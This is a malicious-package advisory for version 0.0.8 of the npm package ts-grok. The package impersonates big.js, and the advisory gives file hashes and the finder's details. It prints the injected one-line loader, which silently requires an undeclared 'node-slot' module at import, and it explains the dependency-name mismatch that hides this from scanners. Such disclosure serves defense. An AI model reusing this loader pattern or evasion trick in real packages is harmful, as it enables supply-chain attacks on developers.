{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "big.js",
              "sha256": "442c54a9b0beff03159cb7dd3a59ad1c09dbe09f0bcec91df0a33a032a2e4f99",
              "tlsh": "c6c2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"
            },
            {
              "path": "package.json",
              "sha256": "739334ffdefefe319046de805c6062f07e589edb4880a7f6153d8aa0efb7b3e5",
              "tlsh": "b3210463c9a19da70af85b947c6c03aaf1161b1f04a05c5bb07b130c4b3355b2095b7d"
            }
          ],
          "package_integrity": [
            {
              "filename": "ts-grok-0.0.8.tgz",
              "hashes": {
                "sha1": "55fc69d040bbff102422d54f5ac62b4e80430a43",
                "sha512_sri": "sha512-hXK5Xw/okq+3SASoi0qwX5MRlQUnwzsXjmaRODEO/v+auPfYbz89BWpeySigTC5LbUhkkhwVwKV+JDfqnBL1tQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "ts-grok"
      },
      "versions": [
        "0.0.8"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007267",
        "import_time": "2026-06-23T16:54:13.236632759Z",
        "modified_time": "2026-06-23T16:11:24Z",
        "sha256": "a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d",
        "source": "amazon-inspector",
        "versions": [
          "0.0.8"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d)\nPackage ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author \u0027Michael Mclaughlin\u0027, repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: `try { const doc = require(\"node-slot\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is \u0027block-slot\u0027 (^1.0.9), not \u0027node-slot\u0027 \u2014 the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever \u0027node-slot\u0027 resolves to in the installer\u0027s node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.\n",
  "id": "MAL-2026-6321",
  "modified": "2026-06-23T16:11:24Z",
  "published": "2026-06-23T16:11:24Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/ts-grok/v/0.0.8"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in ts-grok (npm)"
}